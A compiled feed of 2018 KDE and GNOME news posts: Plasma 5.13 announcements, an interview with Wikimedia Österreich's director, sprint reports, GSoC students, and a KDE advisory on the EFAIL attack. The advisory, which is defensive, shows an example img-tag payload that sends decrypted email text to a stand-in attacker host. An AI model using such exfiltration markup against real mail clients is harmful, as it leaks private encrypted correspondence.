Applications

  • Plasma 5.13, a new version of KDE's desktop environment, is here (KDE)

    Optimized and less resource-hungry, Plasma 5.13 can run smoothly on under-powered ARM laptops, high-end gaming PCs, and everything in between.


    Control play back, rewind and volume even if your browser is not visible.

    Feature-wise, Plasma 5.13 comes with Browser Integration. This means both Chrome/Chromium and Firefox web browsers can be monitored and controlled using your desktop widgets. For example, downloads are displayed in the Plasma notification popup, so even if your browser is minimized or not visible, you can monitor the download progress. Likewise with media playing in a tab: you can use Plasma's media controls to stop, pause and silence videos and audio playing in any tab – even the hidden ones. This a perfect solution for those annoying videos that auto-start without your permission. Another Plasma-browser feature is that links can now be opened from Plasma's overhead launcher (Krunner), and you can also send links directly to your phone using KDE Connect.

    Talking of KDE Connect, the Media Control Widget has been redesigned and its support of the MPRIS specification has been much improved. This means more media players can now be controlled from the media controls in the desktop tray or from your phone using KDE Connect.


    Blurred backgrounds bring an extra level of coolness to Plasma 5.13.

    Plasma 5.13 is also visually more appealing. The redesigned pages in 5.13 include theming tools for desktops, icons and cursors, and you can download new splash screens from the KDE Store directly from the splash screen page. The desktop provides a new and efficient blur effect that can be used for widgets, the dashboard menu and even the terminal window, giving them an elegant and modern look. Another eye-catching feature is that the login and lock screens now display the wallpaper of the current Plasma release, and the lock screen incorporates a slick fade-to-blur transition to show the controls, allowing it to be easily used as a screensaver.

    Discover, Plasma's graphical software manager, improves the user experience with list and category pages that replace header images with interactive toolbars. You can sort lists, and they also show star ratings of applications. App pages and app icons use your local icon theme to better match your desktop settings.

    Vaults, Plasma's storage encryption utility, includes a new CryFS backend, better error reporting, a more polished interface, and the ability to remotely open and close vaults via KDE Connect.

    Connecting to external monitors has become much more user-friendly. Now, when you plug in a new external monitor, a dialog pops up an lets you easily control the position of the additional monitor in correlation to your primary one.

    Want to try Plasma 5.13? ISO images for KDE neon will probably be available tomorrow or on Friday. Check out our page with links to Live images to download the latest.

    We look forward to hearing your comments on Plasma 5.13 - let us know how it works for you!


    Full announcement.

  • Registration to GUADEC 2018 is now open (GNOME)
    The GUADEC organizers are pleased to announce that the registration for GUADEC 2018 is now open. GUADEC  is the the largest annual gathering of GNOME developers and community members and will take place this year in Almería, Spain between July 6 – July 11. If you are planning to attend please register as soon as possible. Parties with […]
  • GNOME moves to Gitlab (GNOME)
    The GNOME Foundation is proud to announce that it has completed its move to GitLab. This is a huge milestone for the GNOME Project as it continues to improve its workflows and tools in order to support its growth and collaborate more with other free software communities. After the evaluation of many tools, the GNOME […]
  • Claudia Garad, Executive Director of Wikimedia Österreich: "We want to create a welcoming atmosphere for newcomers" (KDE)


    Claudia Garad, Executive Director of Wikimedia Österreich. Photo by Stepro.

    Claudia Garad is the Executive Director of Wikimedia Österreich, Wikipedia's Austrian chapter. Claudia will deliver Akademy's second keynote on Sunday, 12th of August.

    Claudia graciously met up with us (Ivana and Paul) to tell us all about her job, how the Wikipedia community works and the challenges it faces.

    This is what she told us:

    Paul: Welcome, Claudia, and thank you for joining us!

    Claudia: Thanks for having me :-)

    Ivana: Hello Claudia!

    Paul: So you are the Executive Director of Wikimedia Foundation Austria, correct?

    Claudia: Correct. Since 2012. It's actually called "Wikimedia Österreich". The Foundation is only the organization in San Francisco

    Paul: Thanks for the clarification. Tell us... What led you to this job? Did you do something similar before?

    Claudia: I used to work as Head of Marketing and Communication for a major applied science organization in Germany. We were pioneers in the field of online science communication in the German-speaking world. Beyond the focus on online communication, I think the common denominator of those two jobs is making knowledge accessible.

    Paul: Of course. What does a typical day at Wikimedia look like for you? What do you do there?

    Claudia: I'm not sure I have a typical day. We work closely with volunteers, so our working hours vary. We often work in the evenings or on weekends when our Wikimedians are available. I also not only work from our office, but frequently remote when I travel for work.

    Paul: So do you oversee their work? Make sure the rules for editing articles are respected? Organize events? All of the above?

    Claudia: Wikimedia staff does not intervene into the work on the Wikimedia projects. The community decides about the rules and how to enforce them; we do not have any direct influence there.

    But the task that follows me everywhere and at any time is to secure funds for our organization, i.e. fundraising, grant-making and reporting. Apart from that, one of my main tasks is to build partnerships within the Wikimedia movement, but also beyond. With like-minded communities, cultural institutions, potential donators, and so on.

    Ivana: I take it that you face the challenge of working with people from different time zones. Could you share some advice or tools that you use to overcome scheduling issues?

    Claudia: I don't think we have super-innovative approaches in that regard. For us in Austria, it's mainly Europe and the US so far, and we found the time slots that work for most. I think the Wikimedia Foundation has probably more refined ideas, as they work with a more diverse group, but I wouldn't know the details.

    Paul: Talking of diverse, I understand you also deal with diversity and inclusion issues. How do you promote these two things?

    Claudia: Due to our "hands off" approach, we can only deal with diversity and inclusion issues indirectly: by raising awareness for the topic, encouraging mentorship, fostering solidarity networks among volunteers, and providing incentives and support for all of that. One example is the mentoring program we developed for the Wikimedia Hackathon last year. We wanted to create a welcoming atmosphere for newcomers that is reflected in the physical space, as well as in the social interactions.

    Paul: Is there a lack of diversity within the Wikipedian community?

    Claudia: It always depends on the definition of diversity, and it varies between our communities. Speaking for our Austrian communities: it is diverse in some regards, like age, and not very diverse in other, such as gender or ethnical background.

    Paul: So do you know what percentage of women Wikipedians versus men there are, for example? The percentage for each ethnicity? Is this information you collect?

    Claudia: There are roughly 10% female contributors in the German-language Wikipedia, and that reflects what I see during offline events. Non-binary is probably around 1-2%. But the numbers are not all 100% accurate, as many volunteers choose not to disclose their gender, and we respect their wish for anonymity. That is even more true for ethnicity - we do not ask for that anywhere. This is what you can get from the information people provide on their user pages. Apart from that, we do not collect any personal data.

    But there are other ways to make the diversity gaps visible: by comparing the number of biographies about females to the number of articles about men. Wikidata makes that really easy nowadays. Or by looking at the language and perspectives that are represented in articles. It becomes obvious very quickly that we have a problem there, and that should be fixed if we strive to collect "the sum of all human knowledge" as our vision statement says.

    Paul: How do you solve this problem? Getting back to the activity you mentioned before, for example - how do you make a hackathon more welcoming? What do you physically do?


    Wikipedia Hackathons implement special activities and spaces to encourage diversity. Photo by Clemens, CC BY-SA 3.0.

    Claudia: For the first time we had mentors at such an event. Their only job was to help newcomers and to pair them with other newcomers according to common interests. Usually the mentors had project ideas that were suitable for newbies to get started. The aim was that every newcomer could be part of a team that accomplished something during the weekend, and to be able to present a project at the showcase on the last day.

    To make it as easy as possible to approach people, we also had a mentoring area where people could come at any time to ask questions or get help. Our Austrian community held pre-events, so people could get to know each other in smaller, more intimate surroundings before they were thrown into an international event with 250 strangers. Finally, we had an outreach coordinator who facilitated the mentor-to-mentor and mentor-to-mentees exchange before, during, and after the event.

    Other ways to make event spaces inclusive are gender-neutral bathrooms, designated "quiet zones" where people can retreat to when they need a break from social interaction, stickers to customize your name badge with information about yourself that can also include how you want to be addressed in terms of gender, etc.

    Many of these ideas were adapted from a youth hack event called "Jugend Hackt" that is a project of Open Knowledge in Germany and Austria.

    Ivana: It sounds like you're really taking care of new contributors, which is awesome! It's something we're trying to be better at in our community, too. Could you tell us a bit about the onboarding process - what does it look like when someone new wants to join and start contributing? Are there any "best practices" or recommended ways to get started?

    Claudia: We learned that the best way to onboard newcomers is regularity; it's hard to achieve much with a single event. So having mentors beyond the event helps, or having regular events or follow-up events, where people can come back to when they encounter barriers. It can be further assisted with social media - chat groups and the like. Places where people can find help and advice on short notice online.

    Ivana: Have you had any students or new contributors join Wikimedia Österreich through mentorship projects like Outreachy, Google Summer of Code or similar? Do you organize similar programs on a local scale, i.e. in the German-speaking communities?

    Claudia: We have had newcomers join via local mentoring programs, but not via the global programs you mentioned.

    Ivana: Do you have something like a list of "junior jobs" or easy tasks that newcomers can immediately tackle? Or if you've tried a similar approach in the past, can you tell us how that worked?

    Claudia: We tried the easy task list for the Wikimedia Hackathon last year. The list was linked from the event page so people could check it out beforehand. Apart from that, there were also other tasks to help around the event that were not related to coding: writing blog posts, making a podcast, taking pictures, helping the organizers on site...

    Ivana: Getting back to the topic of helping newcomers, you mentioned potential barriers they can encounter. In your experience, what are the most common barriers, or obstacles that newcomers have reported? And how have you worked on resolving them?


    Claudia takes part in the "Internet Policies and Activism in Europe" panel at the Elevate Festival 2016.

    Claudia: I think for most newcomers the hardest part is to see where they could help and how. So the task list and mentors can help with that. However, we also still have room for improvement: After the hackathon, many newcomers complained about how long it took to get a code review. Often keeping people engaged after an event is the hardest part. For newcomers and mentors alike.

    In the end, it is a question of resources. If we want new people, and especially underrepresented people, we will have to invest resources into this endeavour. Half-assed approaches usually don't work in the long run, and I'm afraid that this is something we still have to internalize as a movement.

    Paul: What about problems from the old-timers? Is there any resistance from the existing community towards the effort to promote more diversity?

    Claudia: Of course there are parts of the community who are indifferent, and some who openly work against such topics. So the art is to find the people who support the idea and include them, to address justified concerns, and ignore, or if there is no other way, get rid of people that display toxic behavior.

    Paul: What sort of problems do you see a lack of diversity causing?

    Claudia: For Wikipedia it is clear: the sum of all knowledge can not be gathered and represented by a small homogeneous group. Furthermore, quality and objectivity of knowledge are also important values in our movement that can only be achieved by including diverse perspectives.

    Paul: For somebody who wanted to join in the Wikipedia effort... What advice would you give them? What should they read? Where can they start?

    Claudia: Most Wikipedias have extensive guides on how to get started. Too extensive sometimes :-). I would see whether there is a mentoring program on your Wiki project and sign up, or whether there are local Wiki meet-ups in your home town. In Vienna, for example, we have a Wikipedia clinic for newcomers every first Tuesday of the month.

    Paul: A Wikipedia clinic! What do you do there?

    Claudia: It's basically where you can come to discuss and find help for common problems. I think there are code clinics at some events too. It's a peer approach to exchange best practices around common issues or challenges.

    Paul: Is there a trend? Like problems that new contributors come up with again and again? If so, what are they?

    Claudia: I think the challenges for newcomers vary between the projects. In the German language Wikipedia, the biggest issues are certainly the complexity that results from an elaborate rule set to ensure quality of content; the fact that most topics of general knowledge are fairly well covered so you need to find your expert niche to contribute; and the often not very newcomer-friendly atmosphere and aggressive interactions.

    Paul: I suppose people feel possessive about what they work on. Is there any sort of regulatory body that helps resolve disputes or reprimands antisocial behavior?

    Claudia: There are community-elected arbitration committees to solve conflicts on projects. But in some cases, especially when there is also offline harassment involved, the Wikimedia Foundation has to take steps to ban those people from events, the projects, or both in order to protect others.

    Paul: I guess it is normal that in such a big community you will have all sorts of people...

    Moving on to happier topics. Apart from actually writing or expanding Wikipedia articles, what are other things contributors can do to help Wikipedia grow and thrive?

    Claudia: Other ways to contribute to Wikipedia are to help build the software behind MediaWiki, or to take freely licensed pictures for Wikipedia & Co and upload them to Wikimedia Commons. There are also all the other sister projects such as Wikivoyage, Wiktionary, or Wikidata.

    Paul: I guess donations also help, right? Where can we go and donate?

    Claudia: Of course - to keep Wikipedia ad-free and independent, that is probably the easiest way to contribute. You can either donate to the Wikimedia Foundation, that distributes the money among the global communities or, if there is one, to your local Wikimedia organisation.

    Paul: Claudia, thank you so much for your time.

    Ivana: And we look forward to your keynote at Akademy!

    Claudia: Thanks! Looking forward to meeting you in person!

    Claudia will be delivering the keynote at Akademy 2018 on the 12th of August. Come to Akademy and find out live how you too can make your community more diverse and inclusive.

    About Akademy

    For most of the year, KDE -- one of the largest free and open software communities in the world-- works on-line by email, IRC, forums and mailing lists. Akademy provides all KDE contributors the opportunity to meet in person to foster social bonds, work on concrete technology issues, consider new ideas, and reinforce the innovative, dynamic culture of KDE. Akademy brings together artists, designers, developers, translators, users, writers, sponsors and many other types of KDE contributors to celebrate the achievements of the past year and help determine the direction for the next year. Hands-on sessions offer the opportunity for intense work bringing those plans to reality. The KDE Community welcomes companies building on KDE technology, and those that are looking for opportunities.

    You can join us by registering for Akademy 2018. Registrations are now open.

    For more information, please contact the Akademy Team.

    Dot Categories:

  • 2018 KDE Connect Development Sprint (KDE)

    Between the 23rd and 25th of March, KDE Connect developers gathered in Verse's offices in Barcelona to work together for a weekend. It was the first meeting KDE Connect had in a while, and it was very productive!

    It's been some time since the sprint, and the work carried out there has already started to trickle down into our devices. Nevertheless, we wanted to shed some light on our accomplishments, and encourage everyone to participate.

    Holding discussions and making decisions is much easier in person. We kicked off the sprint by going through our backlog of ideas to decide what was worth implementing. That helped us set the focus for the sprint and resume some blocked tasks.

    One of the most requested features for KDE Connect is the ability to send SMS from the desktop. We already supported SMS to a certain degree with the ability to reply to a message. Some people have even set up Kontact to be able to send texts using KDE Connect from there, but it can be annoying to use without conversation history. During the sprint, Simon and Aleix started working on a fully-featured interface for sending SMS easily from the desktop that includes full conversation views and a full contact list.

    Aleix and Nico polished the Run Commands interface to make it more discoverable, so that we can easily configure KDE Connect to do anything we want.


    You can now see album art
    in your phone's lock screen.

    Matthijs improved the functionality of multimedia controls - now it's possible to display the album art from your desktop on your Android devices (both on the lock screen and in the new multimedia notification). Meanwhile, Aleix and Nico started paving the way towards better integration with PulseAudio control, sharing some code between KDE Connect and the Plasma volume control.

    A less visible but crucial part of what makes KDE Connect so useful is its integration with the system. Albert Vaca worked on a KDE Connect plugin for Nautilus, so people who don't use Plasma and Dolphin can also have a great user experience.

    Another very important but often-overlooked task is documentation. Matthijs invested some time in improving the onboarding process for new contributors. Hopefully we'll get more people involved in the future!

    Last but not least, we fixed some ugly bugs during this sprint. Albert Astals fixed a long-standing crash in KIO, the KDE Framework used by KDE Connect for transferring files. Simon and Albert Vaca took care of some compatibility problems with Android Oreo, while Matthijs fixed a connectivity issue and even made some progress on Bluetooth support.

    All in all, the sprint was a pleasant event, and I'm really happy we all got together. It was nice to meet the developers working on KDE Connect, to connect faces with nicknames, and generally agree on a common path we will follow in future development.

    Big thanks to KDE e.V. for sponsoring the travel - without their help, this sprint wouldn't have been possible.

    Don't forget: you too can help KDE Connect by donating to KDE!


    Story written by Albert Vaca, creator of KDE Connect.
  • Anonymous Donor Pledges $1M Donation Over Two Years (GNOME)
    GNOME Foundation plans to invest in growth Orinda, CA. An anonymous donor has pledged to donate up to $1,000,000 over the next two years, some of which will be matching funds. The GNOME Foundation is grateful for this donation and plans on using these funds to increase staff to streamline operations and to grow its […]
  • Promo Sprint Report: What We Did and How You Can Help Us (KDE)

    February was a big month for the Promo team - we held a long-awaited sprint in Barcelona, Spain from the 16th to 18th. The aim of the sprint was to look at information we had collected over the prior years, interpret what it meant, and use it to discuss and plan for the future. The activities we came up with should help us accomplish our ultimate goal: increasing KDE's visibility and user base.

    Nine members of the team made it to Barcelona: Aleix Pol, Ivana Isadora Devčić, Jure Repinc, Kenny, Łukasz Sawicki, Lydia Pintscher, Neofytos Kolokotronis, Paul Brown, and Rubén Gómez. We met at Espai 30, an old factory converted into a social center for the neighborhood. Coincidentally, that is one of the places where the Guifi.net project started -- rather fitting for a meeting that comprised Free Software and communication.

    Day 1: Informal Afternoon Meeting

    Although Friday was "arrival day" without an official agenda, we could not resist talking shop over pizza and beer. Discussions gravitated towards the KDE.org website, which will be migrated from an old and clunky backend to a Wordpress framework. The improvement to the framework got us thinking on how we could improve the content, too.

    The consensus was that we want to inform the general public about what KDE is - not a desktop, but the community that creates, maintains, documents, translates, and promotes a large body of multi-purpose software. Our software collection does include a desktop environment, but it also offers utilities, games, productivity applications, media players and editors, an environment and applications for mobile phones, development frameworks, and much more.

    We should also make sure the website caters equally to the tech savvy and unsavvy, since KDE's software is meant for everybody. The new site should clearly direct users to our products, allowing end users to simply download and use them. At the same time, the website should ease the way for potential contributors to join the community.

    Day 2: Espai 30, Stats stats stats, and Improved Communication

    At the break of dawn the next day... well, actually, at 10 o'clock, sprint sessions started in earnest. Ivana gave a recap of Promo's main activities over the last year or so, revisiting funding campaigns we promoted and communication tactics we implemented.

    Next we looked at hard, cold data, collected from social media accounts, web statistics, and distro popcons (application popularity contests). The bad news is that visits to our main sites have gone down over the last year. The good news, however, is that followers and interactions on social media have seen a significant increase. Although data collected from popcons are partial, it also looks like Plasma's user base is growing steadily.

    Want to help us with data-collecting and processing, or have ideas about where we can collect more useful information? Send your suggestions to our mailing list and we'll look into it.


    Paul made the team look at bar charts
    for the better part of an hour.

    The data also helps us pinpoint wins and fails in our approach to communicating with the outside world. We found a direct relation between the traffic to our news site (dot.kde.org) and to the main kde.org website. Therefore it makes sense to seriously work on increasing the traffic to kde.org first, in order to improve the visibility and effectiveness of our announcements and campaigns. We also identified ways to make our social media posts more attractive, which should help them garner more re-tweets, boosts (the equivalent of re-tweets in Mastodon), shares and upvotes, and spread our messages further.

    Another way of reaching more people is through events. We discussed Akademy and our plans for promoting the 2018 edition before and during the event, so that news coming out of Vienna in August can reach as many people as possible.

    We also talked about visiting other technical and even not-so-technical events. By showcasing our applications and letting users play with them, we think we will be able to increase our user base. In any case, we need to be well-prepared for all types of conferences, so we made a list of essentials based on our previous experiences.

    We noticed that even within the FLOSS community, there is a large portion of businesses, organizations and developers who are unaware of technologies that KDE develops. Speaking and setting up booths at technical, but non-KDE/Qt events (like the upcoming Embedded Linux Conference organized by the Linux Foundation), could help solve this problem and even attract contributors for KDE.

    Do you have suggestions for events we should attend? Join the Attend External Events task and tell us about them.

    This brought us to the discussion on how Promo can help with the long-term community goals, especially the goal of streamlining the onboarding of new contributors.

    One of the things we have started doing, for example, is creating a list of simple tasks for beginners. We are also trying to identify where people struggle in the process of joining Promo, and working on eliminating obstacles. On a more one-to-one basis, we want to be able to identify people's skills so we can direct them to teams they can join. This was one of the topics we tackled during the last day of the sprint.

    Day 3: Teams, Market Research, and Publicity Stunts

    We already noticed there are wide variety of jobs for our team, and agreed it would be more efficient to classify them and assign them to smaller groups of people with the best skills to carry them out.

    For example, we'd like to have a smoother communication channel with developers, so that we can better understand their work and advise them on how to promote it. The best way to do this, we thought, would be to recruit developers already in the Promo group as liaisons with their colleagues.

    Likewise, experienced YouTubers and videographers can create promotional videos for product releases; journalists and editors can write or help improve blog posts and news articles; and people with a background in marketing can use their knowledge to do some serious market research.

    That last thing is important because the Promo team must discover what technologies people use, how they use them, and what they like and dislike about them to be able to market KDE products. We decided to take a step back and work on a market research project that will provide us with solid information on which to base our actions.

    Got experience in marketing? Join the effort!

    At the same time, we can entice people to use Plasma and KDE applications with straightforward advertising, or rely on the more subtle art of product placement. Regarding the former, we looked at publicity stunts that had helped other community projects in the past, like full page ads in prominent newspapers, or messages on public transport. For example, ads at bus stops in university areas may help encourage students join the community.

    Got an idea for advertising campaign which is both effective and cheap to carry out? Share it with us!

    As for the latter, it turns out that TV shows and movies sometimes have a hard time when they want to show a flashy computer or mobile device interface. Because they can be endlessly customized, Plasma, Plasma Mobile and the applications that run on them are perfect candidates for the likes of The Blacklist, CSI Cyber, Mission Impossible 7... Okay, maybe we will have to start more modest, but remember that KDE tech was already featured on Mr Robot, albeit as the choice of the villain.

    We discussed other ways of indirectly increasing the popularity of KDE, including working with journalists, bloggers and vloggers from outside of our community. We started brainstorming a list of "influencers", journalists and publications.

    Do you know somebody with a solid audience on the fringes of open sourcedom that could influence a large group of people? Go and add them to the list.

    We also want to improve our presence in businesses. To do that, we would first have to approach businesses and contractors that already work with KDE/Qt-based technologies. The idea is to get them on board and create a marketplace/support network that other companies can rely on when considering a migration to desktop Linux.

    While brainstorming other ways to increase awareness, we realized we could improve videos and help them reach a wider audience by adding subtitles. If you would like to help creating subtitles in your language, sign up for the video group and tell us what you can do.

    Conclusion


    So much stuff still needs to be done...

    This was an intense and intensive sprint. The full list of topics we discussed is longer than this report, but we managed to devote enough time to the most pressing issues. We came up with ideas for targets and ways to work towards them that will translate into real results. We are now progressively implementing tasks that will help us reach those targets, but we need your help.

    If you think you can help us achieve our goals, please join the Promo group. We have a mailing list, IRC channel, and a Telegram group. You can also take a look at our workboard and leave your feedback on tasks that are in progress.

    Developing KDE's software is super-important, but so is spreading the message that the software exists and that everybody, regardless of their level of computer-literacy, can and should use it. That is what the Promo team is all about, and we will keep practicing what we preach.

  • Plasma 5.13 Beta (KDE)



    Plasma 5.13 Beta

    KDE Plasma 5.13 Beta

    Thursday, 17 May 2018. Today KDE unveils a beta release of Plasma 5.13.0.

    Members of the Plasma team have been working hard to continue making Plasma a lightweight and responsive desktop which loads and runs quickly, but remains full-featured with a polished look and feel. We have spent the last four months optimising startup and minimising memory usage, yielding faster time-to-desktop, better runtime performance and less memory consumption. Basic features like panel popups were optimised to make sure they run smoothly even on the lowest-end hardware. Our design teams have not rested either, producing beautiful new integrated lock and login screen graphics.


    New in Plasma 5.13


    Plasma Browser Integration

    Plasma Browser Integration is a suite of new features which make Firefox and Chrome, and Chromium-based browsers work with your desktop. Downloads are now displayed in the Plasma notification popup just as when transferring files with Dolphin. The Media Controls Plasmoid can mute and skip videos and music playing from within the browser. You can send a link to your phone with KDE Connect. Browser tabs can be opened directly using KRunner via the Alt-Space keyboard shortcut. To enable Plasma Browser Integration, add the relevant plugin from the addon store of your favourite browser.



    Plasma Browser Integration for Downloads
       

    Plasma Browser Integration for Media Controls

    Plasma Browser Integration for Downloads and Media Controls


    System Settings Redesigns

    Our settings pages are being redesigned. The KDE Visual Design Group has reviewed many of the tools in System Settings and we are now implementing those redesigns. KDE's Kirigami framework gives the pages a slick new look. We started off with the theming tools, comprising the icons, desktop themes, and cursor themes pages. The splash screen page can now download new splashscreens from the KDE Store. The fonts page can now display previews for the sub-pixel anti-aliasing settings.



    Desktop Theme


    Font Settings


    Icon Themes

    Redesigned System Settings Pages


    New Look for Lock and Login Screens

    Our login and lock screens have a fresh new design, displaying the wallpaper of the current Plasma release by default. The lock screen now incorporates a slick fade-to-blur transition to show the controls, allowing it to be easily used like a screensaver.



    Lock Screen


    Login Screen

    Lock and Login Screen new Look





    Improved Blur Effect in the Dash Menu

    Improved Blur Effect in the Dash Menu

    Graphics Compositor

    Our compositor KWin gained much-improved effects for blur and desktop switching. Wayland work continued, with the return of window rules, the use of high priority EGL Contexts, and initial support for screencasts and desktop sharing.





    Discover's Lists with Ratings, Themed Icons, and Sorting Options

    Discover's Lists with Ratings, Themed Icons, and Sorting Options

    Discover

    Discover, our software and addon installer, has more features and sports improvements to the look and feel.

    Using our Kirigami UI framework we improved the appearance of lists and category pages, which now use toolbars instead of big banner images. Lists can now be sorted, and use the new Kirigami Cards widget. Star ratings are shown on lists and app pages. App icons use your local icon theme better match your desktop settings. All AppStream metadata is now shown on the application page, including all URL types. And for users of Arch Linux, the Pacman log is now displayed after software updates.

    Work has continued on bundled app formats. Snap support now allows user control of app permissions, and it's possible to install Snaps that use classic mode. And the 'snap://' URL format is now supported. Flatpak support gains the ability to choose the preferred repository to install from when more than one is set up.


    Much More

    Other changes include:

    • A tech preview of GTK global menu integration.
    • Redesigned Media Player Widget.
    • Plasma Calendar plugin for astronomical events, currently showing: lunar phases & astronomical seasons (equinox, solstices).
    • xdg-desktop-portal-kde, used to give desktop integration for Flatpak and Snap applications, gained support for screenshot and screencast portals.
    • The Digital Clock widget allows copying the current date and time to the clipboard.
    • The notification popup has a button to clear the history.
    • More KRunner plugins to provide easy access to Konsole profiles and the character picker.
    • The Mouse System Settings page has been rewritten for libinput support on X and Wayland.
    • Plasma Vault has a new CryFS backend, commands to remotely close open vaults with KDE Connect, offline vaults, a more polished interface and better error reporting.
    • A new dialog pops up when you first plug in an external monitor so you can easily configure how it should be positioned.
    • Plasma gained the ability to fall back to a software rendering if OpenGL drivers unexpectedly fail.



    GEdit with Title Bar Menu
      

    Redesigned Media Player Widget
      

    Connect an External Monitor

    GEdit with Title Bar Menu. Redesigned Media Player Widget. Connect an External Monitor Dialog.



    Live Images

    The easiest way to try it out is with a live image booted off a USB disk. Docker images also provide a quick and easy way to test Plasma.

    Download live images with Plasma 5
    Download Docker images with Plasma 5

    Package Downloads

    Distributions have created, or are in the process of creating, packages listed on our wiki page.

    Package download wiki page

    Source Downloads

    You can install Plasma 5 directly from source.

    Community instructions to compile it
    Source Info Page

    Feedback

    You can give us feedback and get updates on Facebook
    or Twitter
    or Google+.

    Discuss Plasma 5 on the KDE Forums Plasma 5 board.

    You can provide feedback direct to the developers via the #Plasma IRC channel, Plasma-devel mailing list or report issues via bugzilla. If you like what the team is doing, please let them know!

    Your feedback is greatly appreciated.

  • Welcome Our New Google Summer of Code Students (KDE)

    KDE Student Programs is happy to present our 2018 Google Summer of Code students to the KDE Community.

    Welcome Abhijeet Sharma, Aman Kumar Gupta, Amit Sagtani, Andrey Cygankov, Andrey Kamakin, Anmol Gautam, Caio Jordão de Lima Carvalho, Chinmoy Ranjan Pradhan, Csaba Kertesz, Demetrio Carrara, Dileep Sankhla, Ferencz Kovács, Furkan Tokac, Gun Park, Iván Yossi Santa María González, Kavinda Pitiduwa Gamage, Mahesh S Nair, Tarek Talaat, Thanh Trung Dinh, Yihang Zhou, and Yingjie Liu!


    KDE Google Summer of Code mentors at Akademy 2017. Photo by Bhushan Shah.


    Students will work on
    improving KStars for Android.

    This year digiKam, KDE's professional photo management application, has three students: Tarek Talaat will be working on supporting Twitter and One Drive services in digiKam export, Thanh Trung Dinh on Web Services tools authentication with OAuth2, and Yingjie Liu on adding the possibility to manually sort the digiKam icon view.

    Plasma, KDE's graphical desktop environment, will also be mentoring three students. Abhijeet Sharma will be working on fwupd integration with Discover (KDE's graphical software manager), Furkan Tokac will improve handling for touchpads and mice with Libinput, and Gun Park will port keyboard input modules to Qt Quick and expand scope to cover input method configuration for System Settings.

    Another project with three students is Krita, KDE's popular graphic editor and painting application. Andrey Kamakin will improve multithreading in Krita's Tile Manager; Iván Yossi Santa María González (ivanyossi) will optimize Krita Soft, Gaussian and Stamp brushes mask generation to use AVX with Vc Library; and Yihang Zhou (Michael Zhou) is creating a Swatches Docker for Krita.

    GCompris, the suite of educational programs and games for young learners, takes two students: Aman Kumar Gupta will port all GTK+ piano activities and get it one step closer to version 1.0, and Amit Sagtani will work on creating bitmap drawing and animation activities while preparing Gcompris for version 1.0.

    Labplot, KDE's application for scientific data plotting and analysis, also mentors two students. Andrey Cygankov will add support for import data from web-service in LabPlot, and Ferencz Kovács will be working on plotting of live MQTT data.


    Falkon, a new member of the KDE family,
    will also get some GSoC love.

    Okular, KDE's PDF and document viewer, gets another two students: Chinmoy Ranjan Pradhan will be working on verifying signatures of PDF files, while Dileep Sankhla will implement the FreeText annotation with FreeTextTypeWriter behavior.

    For Falkon, a community developed web browser and a new member of the KDE family, Anmol Gautam will be working on JavaScript/QML extension support, and Caio Jordão de Lima Carvalho will finish LVM support and implement RAID support in KDE Partition Manager and Calamares (an advanced system installer).

    Csaba Kertesz (kecsap) will aim to improve the desktop and the Android version of KStars, KDE's planetarium program, while Kavinda Pitiduwa Gamage will work on KGpg, KDE's graphical key management application, to make it better.

    Mahesh S. Nair will expand Peruse Creator, adding more features to KDE's easy-to-use comic book reader. Finally, Demetrio Carrara will be working on the WikitoLearn production-ready Progressive Webapp (PWA).

    Traditionally, Google Summer of Code starts with an introduction period where students get to know their mentors, after which they start coding. The coding period for 2018 has began on May 14, and will last until August 6. We wish all our students a productive, successful, and fun summer!

  • EFAIL and KMail (KDE)

    On Monday, a security vulnerability in the OpenPGP and S/MIME email encryption standards and the email clients using those, called EFAIL was published.

    What is this about and how is KMail affected? (Spoiler: KMail users are safe by default.)

    Encrypted Email

    The discovered vulnerability affects the OpenPGP and S/MIME standards used for end-to-end encryption of emails that specifically encrypts emails for the intended receivers. This is not to be confused with transport encryption (typically TLS) that is used universally when communicating with an email server. Users not using OpenPGP and S/MIME are not affected by this vulnerability.

    End-to-end encryption is usually employed to prevent anyone different from the intended receiver from accessing message content, even if they somehow manage to intercept or accidentally receive an email. The EFAIL attack does not attempt
    to break that encryption itself. Instead, it applies some clever techniques to trick the intended receiver into decrypting the message, and then sending the clear text content back to the attacker.

    KMail relies on GnuPG for the OpenPGP and S/MIME handling, so you might also be interested in the GnuPG team's statement on EFAIL.

    Exfiltration Channels

    The EFAIL research paper proposes several exfiltration channels for returning the clear text content. The easiest one to understand is by exploiting the HTML capabilities of email clients. If not properly controlled, HTML email messages can download external resources, such as images, while displaying an email - a feature often used in corporate environments.

    Considerably simplified, the idea is to add additional encrypted content around an intercepted encrypted message. The whole procedure for doing this is quite elaborate and explained in depth in the paper. Let's assume an attacker manages to prefix an intercepted encrypted email with the (encrypted) string "<img src='http://my.site/?" and append an extra "'/>". The result would look something like this, after decryption by the receiver:

    Attacker inserted Original content
    <img src="http://my.site/? SomeTopSecretText "/>

    An email client that unconditionally retrieves content from the Internet while displaying HTML emails would now leak the email content as part of an HTTP GET request to an attacker controlled web server - game over.

    OpenPGP

    The OpenPGP standard has a built-in detection mechanism for manipulations of the encrypted content. This provides effective protection against this attack. KMail, or rather the GnuPG stack KMail uses for email cryptography, does make use of this correctly. Not all email clients tested by the EFAIL authors seem to do this correctly, though. Notwithstanding, your OpenPGP encrypted emails are safe from this attack if you use KMail.

    S/MIME

    The situation with S/MIME is more difficult, as S/MIME itself does not have any integrity protection for the encrypted content, leaving email clients with no way to detect the EFAIL attack. That's a conceptual weakness of S/MIME that can only really be fixed by moving to an improved standard.

    Fortunately, this does not mean that your S/MIME encrypted emails cannot be protected in KMail. By default, KMail does not retrieve external content for HTML emails. It only does that if you either explicitly trigger this for an individual email by clicking the red warning box at the top of emails which informs of external content, or if you enable this unconditionally via Settings > Configure KMail > Security > Reading > Allow messages to load external references from the Internet. Starting with version 18.04.01, the latter setting will be ignored for S/MIME encrypted content as an additional precaution. For older versions, we recommend you make sure this setting is disabled.

    Furthermore, distribution maintainers can get patches to solve this problem from here:

    https://phabricator.kde.org/D12391
    https://phabricator.kde.org/D12393
    https://phabricator.kde.org/D12394

    CRL and OCSP

    In order to revoke compromised signing keys, S/MIME relies on certificate revocation lists (CRLs) or the online certificate status protocol (OCSP). These two mechanisms consult an online server defined by the authority managing the
    respective keys. The EFAIL paper suggests that this might be another possible exfiltration channel, as well as HTML. However, this hasn't been demonstrated yet, and the GnuPG team thinks it is unlikely to work. It is also a relevant piece
    of the S/MIME security model, so simply disabling this as a precaution has security implications, too.

